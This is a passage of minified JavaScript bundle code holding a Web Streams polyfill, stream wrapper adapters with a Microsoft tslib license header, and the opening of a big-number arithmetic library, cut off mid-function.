Jh(e){e._closedPromise=zc(((t,r)=>{e._closedPromise_resolve=t,e._closedPromise_reject=r,e._closedPromiseState="pending"}))}function ed(e,t){Jh(e),td(e,t)}function td(e,t){void 0!==e._closedPromise_reject&&(Hc(e._closedPromise),e._closedPromise_reject(t),e._closedPromise_resolve=void 0,e._closedPromise_reject=void 0,e._closedPromiseState="rejected")}function rd(e){void 0!==e._closedPromise_resolve&&(e._closedPromise_resolve(void 0),e._closedPromise_resolve=void 0,e._closedPromise_reject=void 0,e._closedPromiseState="resolved")}function id(e){e._readyPromise=zc(((t,r)=>{e._readyPromise_resolve=t,e._readyPromise_reject=r})),e._readyPromiseState="pending"}function nd(e,t){id(e),sd(e,t)}function ad(e){id(e),od(e)}function sd(e,t){void 0!==e._readyPromise_reject&&(Hc(e._readyPromise),e._readyPromise_reject(t),e._readyPromise_resolve=void 0,e._readyPromise_reject=void 0,e._readyPromiseState="rejected")}function od(e){void 0!==e._readyPromise_resolve&&(e._readyPromise_resolve(void 0),e._readyPromise_resolve=void 0,e._readyPromise_reject=void 0,e._readyPromiseState="fulfilled")}Object.defineProperties(Lh.prototype,{error:{enumerable:!0}}),"symbol"==typeof Mc.toStringTag&&Object.defineProperty(Lh.prototype,Mc.toStringTag,{value:"WritableStreamDefaultController",configurable:!0});const cd="undefined"!=typeof DOMException?DOMException:void 0;const ud=function(e){if("function"!=typeof e&&"object"!=typeof e)return!1;try{return new e,!0}catch(e){return!1}}(cd)?cd:function(){const e=function(e,t){this.message=e||"",this.name=t||"Error",Error.captureStackTrace&&Error.captureStackTrace(this,this.constructor)};return Object.defineProperty(e.prototype=Object.create(Error.prototype),"constructor",{value:e,writable:!0,configurable:!0}),e}();function hd(e,t,r,i,n,a){const s=wu(e),o=kh(t);e._disturbed=!0;let c=!1,u=qc(void 0);return zc(((h,d)=>{let f;if(void 0!==a){if(f=()=>{const r=new ud("Aborted","AbortError"),a=[];i||a.push((()=>"writable"===t._state?Ph(t,r):qc(void 0))),n||a.push((()=>"readable"===e._state?Ud(e,r):qc(void 0))),y((()=>Promise.all(a.map((e=>e())))),!0,r)},a.aborted)return void f();a.addEventListener("abort",f)}if(p(e,s._closedPromise,(e=>{i?b(!0,e):y((()=>Ph(t,e)),!0,e)})),p(t,o._closedPromise,(t=>{n?b(!0,t):y((()=>Ud(e,t)),!0,t)})),function(e,t,r){"closed"===e._state?r():Lc(t,r)}(e,s._closedPromise,(()=>{r?b():y((()=>function(e){const t=e._ownerWritableStream,r=t._state;return Dh(t)||"closed"===r?qc(void 0):"errored"===r?Oc(t._storedError):Th(e)}(o)))})),Dh(t)||"closed"===t._state){const t=new TypeError("the destination writable stream closed before all data could be piped to it");n?b(!0,t):y((()=>Ud(e,t)),!0,t)}function l(){const e=u;return Fc(u,(()=>e!==u?l():void 0))}function p(e,t,r){"errored"===e._state?r(e._storedError):jc(t,r)}function y(e,r,i){function n(){Nc(e(),(()=>m(r,i)),(e=>m(!0,e)))}c||(c=!0,"writable"!==t._state||Dh(t)?n():Lc(l(),n))}function b(e,r){c||(c=!0,"writable"!==t._state||Dh(t)?m(e,r):Lc(l(),(()=>m(e,r))))}function m(e,t){Oh(o),Qc(s),void 0!==a&&a.removeEventListener("abort",f),e?d(t):h(void 0)}Hc(zc(((e,t)=>{!function r(i){i?e():Fc(c?qc(!0):Fc(o._readyPromise,(()=>zc(((e,t)=>{Pu(s,{_chunkSteps:t=>{u=Fc(Fh(o,t),void 0,Cc),e(!1)},_closeSteps:()=>e(!0),_errorSteps:t})})))),r,t)}(!1)})))}))}class dd{constructor(){throw new TypeError("Illegal constructor")}get desiredSize(){if(!fd(this))throw kd("desiredSize");return wd(this)}close(){if(!fd(this))throw kd("close");if(!vd(this))throw new TypeError("The stream is not in a state that permits close");bd(this)}enqueue(e){if(!fd(this))throw kd("enqueue");if(!vd(this))throw new TypeError("The stream is not in a state that permits enqueue");return md(this,e)}error(e){if(!fd(this))throw kd("error");gd(this,e)}[su](e){zu(this);const t=this._cancelAlgorithm(e);return yd(this),t}[ou](e){const t=this._controlledReadableStream;if(this._queue.length>0){const r=Bu(this);this._closeRequested&&0===this._queue.length?(yd(this),Bd(t)):ld(this),e._chunkSteps(r)}else vu(t,e),ld(this)}}function fd(e){return!!Dc(e)&&!!Object.prototype.hasOwnProperty.call(e,"_controlledReadableStream")}function ld(e){if(!pd(e))return;if(e._pulling)return void(e._pullAgain=!0);e._pulling=!0;Nc(e._pullAlgorithm(),(()=>{e._pulling=!1,e._pullAgain&&(e._pullAgain=!1,ld(e))}),(t=>{gd(e,t)}))}function pd(e){const t=e._controlledReadableStream;if(!vd(e))return!1;if(!e._started)return!1;if(Id(t)&&ku(t)>0)return!0;return wd(e)>0}function yd(e){e._pullAlgorithm=void 0,e._cancelAlgorithm=void 0,e._strategySizeAlgorithm=void 0}function bd(e){if(!vd(e))return;const t=e._controlledReadableStream;e._closeRequested=!0,0===e._queue.length&&(yd(e),Bd(t))}function md(e,t){if(!vd(e))return;const r=e._controlledReadableStream;if(Id(r)&&ku(r)>0)_u(r,t,!1);else{let r;try{r=e._strategySizeAlgorithm(t)}catch(t){throw gd(e,t),t}try{Tu(e,t,r)}catch(t){throw gd(e,t),t}}ld(e)}function gd(e,t){const r=e._controlledReadableStream;"readable"===r._state&&(zu(e),yd(e),Td(r,t))}function wd(e){const t=e._controlledReadableStream._state;return"errored"===t?null:"closed"===t?0:e._strategyHWM-e._queueTotalSize}function vd(e){const t=e._controlledReadableStream._state;return!e._closeRequested&&"readable"===t}function _d(e,t,r,i,n,a,s){t._controlledReadableStream=e,t._queue=void 0,t._queueTotalSize=void 0,zu(t),t._started=!1,t._closeRequested=!1,t._pullAgain=!1,t._pulling=!1,t._strategySizeAlgorithm=s,t._strategyHWM=a,t._pullAlgorithm=i,t._cancelAlgorithm=n,e._readableStreamController=t;Nc(qc(r()),(()=>{t._started=!0,ld(t)}),(e=>{gd(t,e)}))}function kd(e){return new TypeError(`ReadableStreamDefaultController.prototype.${e} can only be used on a ReadableStreamDefaultController`)}function Ad(e,t,r){return du(e,r),r=>$c(e,t,[r])}function Sd(e,t,r){return du(e,r),r=>$c(e,t,[r])}function Ed(e,t,r){return du(e,r),r=>Vc(e,t,[r])}function Pd(e,t){if("bytes"!==(e=""+e))throw new TypeError(`${t} '${e}' is not a valid enumeration value for ReadableStreamType`);return e}function xd(e,t){if("byob"!==(e=""+e))throw new TypeError(`${t} '${e}' is not a valid enumeration value for ReadableStreamReaderMode`);return e}function Md(e,t){hu(e,t);const r=null==e?void 0:e.preventAbort,i=null==e?void 0:e.preventCancel,n=null==e?void 0:e.preventClose,a=null==e?void 0:e.signal;return void 0!==a&&function(e,t){if(!function(e){if("object"!=typeof e||null===e)return!1;try{return"boolean"==typeof e.aborted}catch(e){return!1}}(e))throw new TypeError(t+" is not an AbortSignal.")}(a,t+" has member 'signal' that"),{preventAbort:!!r,preventCancel:!!i,preventClose:!!n,signal:a}}Object.defineProperties(dd.prototype,{close:{enumerable:!0},enqueue:{enumerable:!0},error:{enumerable:!0},desiredSize:{enumerable:!0}}),"symbol"==typeof Mc.toStringTag&&Object.defineProperty(dd.prototype,Mc.toStringTag,{value:"ReadableStreamDefaultController",configurable:!0});class Cd{constructor(e={},t={}){void 0===e?e=null:fu(e,"First parameter");const r=ph(t,"Second parameter"),i=function(e,t){hu(e,t);const r=e,i=null==r?void 0:r.autoAllocateChunkSize,n=null==r?void 0:r.cancel,a=null==r?void 0:r.pull,s=null==r?void 0:r.start,o=null==r?void 0:r.type;return{autoAllocateChunkSize:void 0===i?void 0:mu(i,t+" has member 'autoAllocateChunkSize' that"),cancel:void 0===n?void 0:Ad(n,r,t+" has member 'cancel' that"),pull:void 0===a?void 0:Sd(a,r,t+" has member 'pull' that"),start:void 0===s?void 0:Ed(s,r,t+" has member 'start' that"),type:void 0===o?void 0:Pd(o,t+" has member 'type' that")}}(e,"First parameter");if(Dd(this),"bytes"===i.type){if(void 0!==r.size)throw new RangeError("The strategy for a byte stream cannot have a size function");ih(this,i,fh(r,0))}else{const e=lh(r);!function(e,t,r,i){const n=Object.create(dd.prototype);let a=()=>{},s=()=>qc(void 0),o=()=>qc(void 0);void 0!==t.start&&(a=()=>t.start(n)),void 0!==t.pull&&(s=()=>t.pull(n)),void 0!==t.cancel&&(o=e=>t.cancel(e)),_d(e,n,a,s,o,r,i)}(this,i,fh(r,1),e)}}get locked(){if(!Rd(this))throw zd("locked");return Id(this)}cancel(e){return Rd(this)?Id(this)?Oc(new TypeError("Cannot cancel a stream that already has a reader")):Ud(this,e):Oc(zd("cancel"))}getReader(e){if(!Rd(this))throw zd("getReader");return void 0===function(e,t){hu(e,t);const r=null==e?void 0:e.mode;return{mode:void 0===r?void 0:xd(r,t+" has member 'mode' that")}}(e,"First parameter").mode?wu(this):function(e){return new uh(e)}(this)}pipeThrough(e,t={}){if(!Rd(this))throw zd("pipeThrough");lu(e,1,"pipeThrough");const r=function(e,t){hu(e,t);const r=null==e?void 0:e.readable;pu(r,"readable","ReadableWritablePair"),gu(r,t+" has member 'readable' that");const i=null==e?void 0:e.writable;return pu(i,"writable","ReadableWritablePair"),vh(i,t+" has member 'writable' that"),{readable:r,writable:i}}(e,"First parameter"),i=Md(t,"Second parameter");if(Id(this))throw new TypeError("ReadableStream.prototype.pipeThrough cannot be used on a locked ReadableStream");if(Eh(r.writable))throw new TypeError("ReadableStream.prototype.pipeThrough cannot be used on a locked WritableStream");return Hc(hd(this,r.writable,i.preventClose,i.preventAbort,i.preventCancel,i.signal)),r.readable}pipeTo(e,t={}){if(!Rd(this))return Oc(zd("pipeTo"));if(void 0===e)return Oc("Parameter 1 is required in 'pipeTo'.");if(!Sh(e))return Oc(new TypeError("ReadableStream.prototype.pipeTo's first argument must be a WritableStream"));let r;try{r=Md(t,"Second parameter")}catch(e){return Oc(e)}return Id(this)?Oc(new TypeError("ReadableStream.prototype.pipeTo cannot be used on a locked ReadableStream")):Eh(e)?Oc(new TypeError("ReadableStream.prototype.pipeTo cannot be used on a locked WritableStream")):hd(this,e,r.preventClose,r.preventAbort,r.preventCancel,r.signal)}tee(){if(!Rd(this))throw zd("tee");const e=function(e,t){const r=wu(e);let i,n,a,s,o,c=!1,u=!1,h=!1;const d=zc((e=>{o=e}));function f(){return c||(c=!0,Pu(r,{_chunkSteps:e=>{Gc((()=>{c=!1;const t=e,r=e;u||md(a._readableStreamController,t),h||md(s._readableStreamController,r)}))},_closeSteps:()=>{c=!1,u||bd(a._readableStreamController),h||bd(s._readableStreamController),u&&h||o(void 0)},_errorSteps:()=>{c=!1}})),qc(void 0)}function l(){}return a=Kd(l,f,(function(t){if(u=!0,i=t,h){const t=qu([i,n]),r=Ud(e,t);o(r)}return d})),s=Kd(l,f,(function(t){if(h=!0,n=t,u){const t=qu([i,n]),r=Ud(e,t);o(r)}return d})),jc(r._closedPromise,(e=>{gd(a._readableStreamController,e),gd(s._readableStreamController,e),u&&h||o(void 0)})),[a,s]}(this);return qu(e)}values(e){if(!Rd(this))throw zd("values");return function(e,t){const r=wu(e),i=new Cu(r,t),n=Object.create(Ku);return n._asyncIteratorImpl=i,n}(this,function(e,t){return hu(e,t),{preventCancel:!!(null==e?void 0:e.preventCancel)}}(e,"First parameter").preventCancel)}}function Kd(e,t,r,i=1,n=(()=>1)){const a=Object.create(Cd.prototype);Dd(a);return _d(a,Object.create(dd.prototype),e,t,r,i,n),a}function Dd(e){e._state="readable",e._reader=void 0,e._storedError=void 0,e._disturbed=!1}function Rd(e){return!!Dc(e)&&!!Object.prototype.hasOwnProperty.call(e,"_readableStreamController")}function Id(e){return void 0!==e._reader}function Ud(e,t){if(e._disturbed=!0,"closed"===e._state)return qc(void 0);if("errored"===e._state)return Oc(e._storedError);Bd(e);return Wc(e._readableStreamController[su](t),Cc)}function Bd(e){e._state="closed";const t=e._reader;void 0!==t&&(iu(t),Eu(t)&&(t._readRequests.forEach((e=>{e._closeSteps()})),t._readRequests=new Zc))}function Td(e,t){e._state="errored",e._storedError=t;const r=e._reader;void 0!==r&&(ru(r,t),Eu(r)?(r._readRequests.forEach((e=>{e._errorSteps(t)})),r._readRequests=new Zc):(r._readIntoRequests.forEach((e=>{e._errorSteps(t)})),r._readIntoRequests=new Zc))}function zd(e){return new TypeError(`ReadableStream.prototype.${e} can only be used on a ReadableStream`)}function qd(e,t){hu(e,t);const r=null==e?void 0:e.highWaterMark;return pu(r,"highWaterMark","QueuingStrategyInit"),{highWaterMark:yu(r)}}Object.defineProperties(Cd.prototype,{cancel:{enumerable:!0},getReader:{enumerable:!0},pipeThrough:{enumerable:!0},pipeTo:{enumerable:!0},tee:{enumerable:!0},values:{enumerable:!0},locked:{enumerable:!0}}),"symbol"==typeof Mc.toStringTag&&Object.defineProperty(Cd.prototype,Mc.toStringTag,{value:"ReadableStream",configurable:!0}),"symbol"==typeof Mc.asyncIterator&&Object.defineProperty(Cd.prototype,Mc.asyncIterator,{value:Cd.prototype.values,writable:!0,configurable:!0});const Od=function(e){return e.byteLength};class Fd{constructor(e){lu(e,1,"ByteLengthQueuingStrategy"),e=qd(e,"First parameter"),this._byteLengthQueuingStrategyHighWaterMark=e.highWaterMark}get highWaterMark(){if(!Ld(this))throw Nd("highWaterMark");return this._byteLengthQueuingStrategyHighWaterMark}get size(){if(!Ld(this))throw Nd("size");return Od}}function Nd(e){return new TypeError(`ByteLengthQueuingStrategy.prototype.${e} can only be used on a ByteLengthQueuingStrategy`)}function Ld(e){return!!Dc(e)&&!!Object.prototype.hasOwnProperty.call(e,"_byteLengthQueuingStrategyHighWaterMark")}Object.defineProperties(Fd.prototype,{highWaterMark:{enumerable:!0},size:{enumerable:!0}}),"symbol"==typeof Mc.toStringTag&&Object.defineProperty(Fd.prototype,Mc.toStringTag,{value:"ByteLengthQueuingStrategy",configurable:!0});const jd=function(){return 1};class Wd{constructor(e){lu(e,1,"CountQueuingStrategy"),e=qd(e,"First parameter"),this._countQueuingStrategyHighWaterMark=e.highWaterMark}get highWaterMark(){if(!Gd(this))throw Hd("highWaterMark");return this._countQueuingStrategyHighWaterMark}get size(){if(!Gd(this))throw Hd("size");return jd}}function Hd(e){return new TypeError(`CountQueuingStrategy.prototype.${e} can only be used on a CountQueuingStrategy`)}function Gd(e){return!!Dc(e)&&!!Object.prototype.hasOwnProperty.call(e,"_countQueuingStrategyHighWaterMark")}function Vd(e,t,r){return du(e,r),r=>$c(e,t,[r])}function $d(e,t,r){return du(e,r),r=>Vc(e,t,[r])}function Zd(e,t,r){return du(e,r),(r,i)=>$c(e,t,[r,i])}Object.defineProperties(Wd.prototype,{highWaterMark:{enumerable:!0},size:{enumerable:!0}}),"symbol"==typeof Mc.toStringTag&&Object.defineProperty(Wd.prototype,Mc.toStringTag,{value:"CountQueuingStrategy",configurable:!0});class Yd{constructor(e={},t={},r={}){void 0===e&&(e=null);const i=ph(t,"Second parameter"),n=ph(r,"Third parameter"),a=function(e,t){hu(e,t);const r=null==e?void 0:e.flush,i=null==e?void 0:e.readableType,n=null==e?void 0:e.start,a=null==e?void 0:e.transform,s=null==e?void 0:e.writableType;return{flush:void 0===r?void 0:Vd(r,e,t+" has member 'flush' that"),readableType:i,start:void 0===n?void 0:$d(n,e,t+" has member 'start' that"),transform:void 0===a?void 0:Zd(a,e,t+" has member 'transform' that"),writableType:s}}(e,"First parameter");if(void 0!==a.readableType)throw new RangeError("Invalid readableType specified");if(void 0!==a.writableType)throw new RangeError("Invalid writableType specified");const s=fh(n,0),o=lh(n),c=fh(i,1),u=lh(i);let h;!function(e,t,r,i,n,a){function s(){return t}function o(t){return function(e,t){const r=e._transformStreamController;if(e._backpressure){return Wc(e._backpressureChangePromise,(()=>{const i=e._writable;if("erroring"===i._state)throw i._storedError;return sf(r,t)}))}return sf(r,t)}(e,t)}function c(t){return function(e,t){return Qd(e,t),qc(void 0)}(e,t)}function u(){return function(e){const t=e._readable,r=e._transformStreamController,i=r._flushAlgorithm();return nf(r),Wc(i,(()=>{if("errored"===t._state)throw t._storedError;bd(t._readableStreamController)}),(r=>{throw Qd(e,r),t._storedError}))}(e)}function h(){return function(e){return ef(e,!1),e._backpressureChangePromise}(e)}function d(t){return Jd(e,t),qc(void 0)}e._writable=function(e,t,r,i,n=1,a=(()=>1)){const s=Object.create(_h.prototype);return Ah(s),jh(s,Object.create(Lh.prototype),e,t,r,i,n,a),s}(s,o,u,c,r,i),e._readable=Kd(s,h,d,n,a),e._backpressure=void 0,e._backpressureChangePromise=void 0,e._backpressureChangePromise_resolve=void 0,ef(e,!0),e._transformStreamController=void 0}(this,zc((e=>{h=e})),c,u,s,o),function(e,t){const r=Object.create(tf.prototype);let i=e=>{try{return af(r,e),qc(void 0)}catch(e){return Oc(e)}},n=()=>qc(void 0);void 0!==t.transform&&(i=e=>t.transform(e,r));void 0!==t.flush&&(n=()=>t.flush(r));!function(e,t,r,i){t._controlledTransformStream=e,e._transformStreamController=t,t._transformAlgorithm=r,t._flushAlgorithm=i}(e,r,i,n)}(this,a),void 0!==a.start?h(a.start(this._transformStreamController)):h(void 0)}get readable(){if(!Xd(this))throw cf("readable");return this._readable}get writable(){if(!Xd(this))throw cf("writable");return this._writable}}function Xd(e){return!!Dc(e)&&!!Object.prototype.hasOwnProperty.call(e,"_transformStreamController")}function Qd(e,t){gd(e._readable._readableStreamController,t),Jd(e,t)}function Jd(e,t){nf(e._transformStreamController),Vh(e._writable._writableStreamController,t),e._backpressure&&ef(e,!1)}function ef(e,t){void 0!==e._backpressureChangePromise&&e._backpressureChangePromise_resolve(),e._backpressureChangePromise=zc((t=>{e._backpressureChangePromise_resolve=t})),e._backpressure=t}Object.defineProperties(Yd.prototype,{readable:{enumerable:!0},writable:{enumerable:!0}}),"symbol"==typeof Mc.toStringTag&&Object.defineProperty(Yd.prototype,Mc.toStringTag,{value:"TransformStream",configurable:!0});class tf{constructor(){throw new TypeError("Illegal constructor")}get desiredSize(){if(!rf(this))throw of("desiredSize");return wd(this._controlledTransformStream._readable._readableStreamController)}enqueue(e){if(!rf(this))throw of("enqueue");af(this,e)}error(e){if(!rf(this))throw of("error");var t;t=e,Qd(this._controlledTransformStream,t)}terminate(){if(!rf(this))throw of("terminate");!function(e){const t=e._controlledTransformStream;bd(t._readable._readableStreamController);Jd(t,new TypeError("TransformStream terminated"))}(this)}}function rf(e){return!!Dc(e)&&!!Object.prototype.hasOwnProperty.call(e,"_controlledTransformStream")}function nf(e){e._transformAlgorithm=void 0,e._flushAlgorithm=void 0}function af(e,t){const r=e._controlledTransformStream,i=r._readable._readableStreamController;if(!vd(i))throw new TypeError("Readable side is not in a state that permits enqueue");try{md(i,t)}catch(e){throw Jd(r,e),r._readable._storedError}(function(e){return!pd(e)})(i)!==r._backpressure&&ef(r,!0)}function sf(e,t){return Wc(e._transformAlgorithm(t),void 0,(t=>{throw Qd(e._controlledTransformStream,t),t}))}function of(e){return new TypeError(`TransformStreamDefaultController.prototype.${e} can only be used on a TransformStreamDefaultController`)}function cf(e){return new TypeError(`TransformStream.prototype.${e} can only be used on a TransformStream`)}Object.defineProperties(tf.prototype,{enqueue:{enumerable:!0},error:{enumerable:!0},terminate:{enumerable:!0},desiredSize:{enumerable:!0}}),"symbol"==typeof Mc.toStringTag&&Object.defineProperty(tf.prototype,Mc.toStringTag,{value:"TransformStreamDefaultController",configurable:!0});var uf=/*#__PURE__*/Object.freeze({__proto__:null,ByteLengthQueuingStrategy:Fd,CountQueuingStrategy:Wd,ReadableByteStreamController:Fu,ReadableStream:Cd,ReadableStreamBYOBReader:uh,ReadableStreamBYOBRequest:Ou,ReadableStreamDefaultController:dd,ReadableStreamDefaultReader:Su,TransformStream:Yd,TransformStreamDefaultController:tf,WritableStream:_h,WritableStreamDefaultController:Lh,WritableStreamDefaultWriter:Uh}),hf=function(e,t){return(hf=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r])})(e,t)};
/*! *****************************************************************************
  Copyright (c) Microsoft Corporation.

  Permission to use, copy, modify, and/or distribute this software for any
  purpose with or without fee is hereby granted.

  THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
  REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
  AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
  INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
  LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
  OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
  PERFORMANCE OF THIS SOFTWARE.
  ***************************************************************************** */function df(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+t+" is not a constructor or null");function r(){this.constructor=e}hf(e,t),e.prototype=null===t?Object.create(t):(r.prototype=t.prototype,new r)}function ff(e){if(!e)throw new TypeError("Assertion failed")}function lf(){}function pf(e){return"object"==typeof e&&null!==e||"function"==typeof e}function yf(e){if("function"!=typeof e)return!1;var t=!1;try{new e({start:function(){t=!0}})}catch(e){}return t}function bf(e){return!!pf(e)&&"function"==typeof e.getReader}function mf(e){return!!pf(e)&&"function"==typeof e.getWriter}function gf(e){return!!pf(e)&&(!!bf(e.readable)&&!!mf(e.writable))}function wf(e){try{return e.getReader({mode:"byob"}).releaseLock(),!0}catch(e){return!1}}function vf(e,t){var r=(void 0===t?{}:t).type;return ff(bf(e)),ff(!1===e.locked),"bytes"===(r=_f(r))?new Ef(e):new Af(e)}function _f(e){var t=e+"";if("bytes"===t)return t;if(void 0===e)return e;throw new RangeError("Invalid type is specified")}var kf=function(){function e(e){this._underlyingReader=void 0,this._readerMode=void 0,this._readableStreamController=void 0,this._pendingRead=void 0,this._underlyingStream=e,this._attachDefaultReader()}return e.prototype.start=function(e){this._readableStreamController=e},e.prototype.cancel=function(e){return ff(void 0!==this._underlyingReader),this._underlyingReader.cancel(e)},e.prototype._attachDefaultReader=function(){if("default"!==this._readerMode){this._detachReader();var e=this._underlyingStream.getReader();this._readerMode="default",this._attachReader(e)}},e.prototype._attachReader=function(e){var t=this;ff(void 0===this._underlyingReader),this._underlyingReader=e;var r=this._underlyingReader.closed;r&&r.then((function(){return t._finishPendingRead()})).then((function(){e===t._underlyingReader&&t._readableStreamController.close()}),(function(r){e===t._underlyingReader&&t._readableStreamController.error(r)})).catch(lf)},e.prototype._detachReader=function(){void 0!==this._underlyingReader&&(this._underlyingReader.releaseLock(),this._underlyingReader=void 0,this._readerMode=void 0)},e.prototype._pullWithDefaultReader=function(){var e=this;this._attachDefaultReader();var t=this._underlyingReader.read().then((function(t){var r=e._readableStreamController;t.done?e._tryClose():r.enqueue(t.value)}));return this._setPendingRead(t),t},e.prototype._tryClose=function(){try{this._readableStreamController.close()}catch(e){}},e.prototype._setPendingRead=function(e){var t,r=this,i=function(){r._pendingRead===t&&(r._pendingRead=void 0)};this._pendingRead=t=e.then(i,i)},e.prototype._finishPendingRead=function(){var e=this;if(this._pendingRead){var t=function(){return e._finishPendingRead()};return this._pendingRead.then(t,t)}},e}(),Af=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return df(t,e),t.prototype.pull=function(){return this._pullWithDefaultReader()},t}(kf);function Sf(e){return new Uint8Array(e.buffer,e.byteOffset,e.byteLength)}var Ef=function(e){function t(t){var r=this,i=wf(t);return(r=e.call(this,t)||this)._supportsByob=i,r}return df(t,e),Object.defineProperty(t.prototype,"type",{get:function(){return"bytes"},enumerable:!1,configurable:!0}),t.prototype._attachByobReader=function(){if("byob"!==this._readerMode){ff(this._supportsByob),this._detachReader();var e=this._underlyingStream.getReader({mode:"byob"});this._readerMode="byob",this._attachReader(e)}},t.prototype.pull=function(){if(this._supportsByob){var e=this._readableStreamController.byobRequest;if(e)return this._pullWithByobRequest(e)}return this._pullWithDefaultReader()},t.prototype._pullWithByobRequest=function(e){var t=this;this._attachByobReader();var r=new Uint8Array(e.view.byteLength),i=this._underlyingReader.read(r).then((function(r){var i,n,a;t._readableStreamController,r.done?(t._tryClose(),e.respond(0)):(i=r.value,n=e.view,a=Sf(i),Sf(n).set(a,0),e.respond(r.value.byteLength))}));return this._setPendingRead(i),i},t}(kf);function Pf(e){ff(mf(e)),ff(!1===e.locked);var t=e.getWriter();return new xf(t)}var xf=function(){function e(e){var t=this;this._writableStreamController=void 0,this._pendingWrite=void 0,this._state="writable",this._storedError=void 0,this._underlyingWriter=e,this._errorPromise=new Promise((function(e,r){t._errorPromiseReject=r})),this._errorPromise.catch(lf)}return e.prototype.start=function(e){var t=this;this._writableStreamController=e,this._underlyingWriter.closed.then((function(){t._state="closed"})).catch((function(e){return t._finishErroring(e)}))},e.prototype.write=function(e){var t=this,r=this._underlyingWriter;if(null===r.desiredSize)return r.ready;var i=r.write(e);i.catch((function(e){return t._finishErroring(e)})),r.ready.catch((function(e){return t._startErroring(e)}));var n=Promise.race([i,this._errorPromise]);return this._setPendingWrite(n),n},e.prototype.close=function(){var e=this;return void 0===this._pendingWrite?this._underlyingWriter.close():this._finishPendingWrite().then((function(){return e.close()}))},e.prototype.abort=function(e){if("errored"!==this._state)return this._underlyingWriter.abort(e)},e.prototype._setPendingWrite=function(e){var t,r=this,i=function(){r._pendingWrite===t&&(r._pendingWrite=void 0)};this._pendingWrite=t=e.then(i,i)},e.prototype._finishPendingWrite=function(){var e=this;if(void 0===this._pendingWrite)return Promise.resolve();var t=function(){return e._finishPendingWrite()};return this._pendingWrite.then(t,t)},e.prototype._startErroring=function(e){var t=this;if("writable"===this._state){this._state="erroring",this._storedError=e;var r=function(){return t._finishErroring(e)};void 0===this._pendingWrite?r():this._finishPendingWrite().then(r,r),this._writableStreamController.error(e)}},e.prototype._finishErroring=function(e){"writable"===this._state&&this._startErroring(e),"erroring"===this._state&&(this._state="errored",this._errorPromiseReject(this._storedError))},e}();function Mf(e){ff(gf(e));var t=e.readable,r=e.writable;ff(!1===t.locked),ff(!1===r.locked);var i,n=t.getReader();try{i=r.getWriter()}catch(e){throw n.releaseLock(),e}return new Cf(n,i)}var Cf=function(){function e(e,t){var r=this;this._transformStreamController=void 0,this._onRead=function(e){if(!e.done)return r._transformStreamController.enqueue(e.value),r._reader.read().then(r._onRead)},this._onError=function(e){r._flushReject(e),r._transformStreamController.error(e),r._reader.cancel(e).catch(lf),r._writer.abort(e).catch(lf)},this._onTerminate=function(){r._flushResolve(),r._transformStreamController.terminate();var e=new TypeError("TransformStream terminated");r._writer.abort(e).catch(lf)},this._reader=e,this._writer=t,this._flushPromise=new Promise((function(e,t){r._flushResolve=e,r._flushReject=t}))}return e.prototype.start=function(e){this._transformStreamController=e,this._reader.read().then(this._onRead).then(this._onTerminate,this._onError);var t=this._reader.closed;t&&t.then(this._onTerminate,this._onError)},e.prototype.transform=function(e){return this._writer.write(e)},e.prototype.flush=function(){var e=this;return this._writer.close().then((function(){return e._flushPromise}))},e}(),Kf=/*#__PURE__*/Object.freeze({__proto__:null,createReadableStreamWrapper:function(e){ff(function(e){return!!yf(e)&&!!bf(new e)}(e));var t=function(e){try{return new e({type:"bytes"}),!0}catch(e){return!1}}(e);return function(r,i){var n=(void 0===i?{}:i).type;if("bytes"!==(n=_f(n))||t||(n=void 0),r.constructor===e&&("bytes"!==n||wf(r)))return r;if("bytes"===n){var a=vf(r,{type:n});return new e(a)}a=vf(r);return new e(a)}},createTransformStreamWrapper:function(e){return ff(function(e){return!!yf(e)&&!!gf(new e)}(e)),function(t){if(t.constructor===e)return t;var r=Mf(t);return new e(r)}},createWrappingReadableSource:vf,createWrappingTransformer:Mf,createWrappingWritableSink:Pf,createWritableStreamWrapper:function(e){return ff(function(e){return!!yf(e)&&!!mf(new e)}(e)),function(t){if(t.constructor===e)return t;var r=Pf(t);return new e(r)}}}),Df=tt((function(e){!function(e,t){function r(e,t){if(!e)throw Error(t||"Assertion failed")}function i(e,t){e.super_=t;var r=function(){};r.prototype=t.prototype,e.prototype=new r,e.prototype.constructor=e}function n(e,t,r){if(n.isBN(e))return e;this.negative=0,this.words=null,this.length=0,this.red=null,null!==e&&("le"!==t&&"be"!==t||(r=t,t=10),this._init(e||0,t||10,r||"be"))}var a;"object"==typeof e?e.exports=n:t.BN=n,n.BN=n,n.wordSize=26;try{a=void 0}catch(e){}function s(e,t,r){for(var i=0,n=Math.min(e.length,r),a=t;a<n;a++){var s=e.charCodeAt(a)-48;i<<=4,i|=s>=49&&s<=54?s-49+10:s>=17&&s<=22?s-17+10:15&s}return i}function o(e,t,r,i){for(var n=0,a=Math.min(e.length,r),s=t;s<a;s++){var o=e.charCodeAt(s)-48;n*=i,n+=o>=49?o-49+10:o>=17?o-17+10:o}return n}n.isBN=function(e){return e instanceof n||null!==e&&"object"==typeof e&&e.constructor.wordSize===n.wordSize&&Array.isArray(e.words)},n.max=function(e,t){return e.cmp(t)>0?e:t},n.min=function(e,t){return e.cmp(t)<0?e:t},n.prototype._init=function(e,t,i){if("number"==typeof e)return this._initNumber(e,t,i);if("object"==typeof e)return this._initArray(e,t,i);"hex"===t&&(t=16),r(t===(0|t)&&t>=2&&t<=36);var 